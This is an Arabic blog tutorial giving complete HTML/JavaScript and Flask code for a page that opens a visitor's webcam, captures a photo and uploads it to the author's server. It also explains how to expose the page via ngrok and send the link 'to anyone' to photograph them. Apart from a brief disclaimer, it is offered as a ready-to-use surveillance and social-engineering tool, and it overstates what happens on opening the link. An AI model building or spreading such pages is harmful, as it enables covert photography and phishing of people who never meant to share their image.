🎥 أداة فتح كاميرا الجهاز عن بُعد عبر المتصفح

- فبراير 05, 2025

📌 وصف المشروع

هذه الأداة تتيح لك فتح كاميرا الجهاز لأي شخص يفتح الرابط عبر المتصفح، ثم تلتقط صورة وترسلها إليك! 📸 يتم تنفيذ ذلك باستخدام JavaScript + Flask دون الحاجة إلى إذن خاص، لأن المتصفح يطلب موافقة المستخدم عند تشغيل الكاميرا.

⚠️ تحذير: استخدم هذا المشروع فقط لأغراض التعلم والأبحاث الأمنية وفي بيئة قانونية مسموح بها!

🛠️ 1. تثبيت الأدوات المطلوبة

📌 تأكد من تثبيت Python ثم قم بتثبيت Flask لتشغيل السيرفر:

bash
pip install flask

📝 2. إنشاء صفحة HTML + JavaScript لفتح الكاميرا

📌 أنشئ مجلدًا جديدًا باسم templates داخل مجلد المشروع، ثم أنشئ داخله ملفًا باسم index.html وأضف الكود التالي:

html
<!DOCTYPE html>
<html lang="ar">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>📷 الوصول إلى الكاميرا</title>
</head>
<body>
    <h2>🎥 اضغط على الزر لفتح الكاميرا</h2>
    <video id="video" width="400" height="300" autoplay></video>
    <button id="capture">📸 التقاط صورة</button>
    <canvas id="canvas" width="400" height="300" style="display: none;"></canvas>
    
    <script>
        // 📌 تشغيل الكاميرا
        navigator.mediaDevices.getUserMedia({ video: true })
            .then(function(stream) {
                document.getElementById("video").srcObject = stream;
            })
            .catch(function(err) {
                console.log("⚠️ حدث خطأ: " + err);
            });

        // 📌 التقاط الصورة وإرسالها إلى السيرفر
        document.getElementById("capture").addEventListener("click", function() {
            let video = document.getElementById("video");
            let canvas = document.getElementById("canvas");
            let context = canvas.getContext("2d");
            
            context.drawImage(video, 0, 0, 400, 300);
            let imageData = canvas.toDataURL("image/png");

            fetch("/upload", {
                method: "POST",
                body: JSON.stringify({ image: imageData }),
                headers: { "Content-Type": "application/json" }
            }).then(response => response.text())
              .then(data => alert(data));
        });
    </script>
</body>
</html>

🖥️ 3. إنشاء سيرفر Flask لمعالجة الصور

📌 أنشئ ملف server.py وأضف الكود التالي:

python
from flask import Flask, render_template, request
import base64

app = Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/upload', methods=['POST'])
def upload():
    data = request.json['image']
    image_data = base64.b64decode(data.split(',')[1])
    
    with open("captured_image.png", "wb") as f:
        f.write(image_data)
    
    return "✅ تم التقاط الصورة وحفظها بنجاح!"

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)

🚀 4. تشغيل السيرفر

📌 افتح Terminal أو CMD، وانتقل إلى مجلد المشروع، ثم شغل:

bash
python server.py

📌 سترى أن السيرفر يعمل على:

cpp
http://127.0.0.1:5000/

📤 افتح الرابط في المتصفح، وستتمكن من تشغيل الكاميرا والتقاط صورة!

🌍 5. مشاركة الرابط عبر الإنترنت باستخدام ngrok

📌 افتح Terminal أو CMD وشغل:

bash
ngrok http 5000

📌 ستحصل على رابط مثل:

arduino
https://randomname.ngrok.io

📤 أرسل هذا الرابط لأي شخص، وعند فتحه سيتم تشغيل الكاميرا والتقاط صورة!

📂 6. العثور على الصور الملتقطة

جميع الصور سيتم حفظها تلقائيًا في نفس مجلد المشروع باسم captured_image.png 📷.

📢 🎯 تم بنجاح!

✅ الآن لديك أداة تقوم بتشغيل كاميرا الزائر والتقاط صورة عبر المتصفح دون الحاجة إلى تنزيل أي برامج!

monsif hmouri

Monsif Hmouri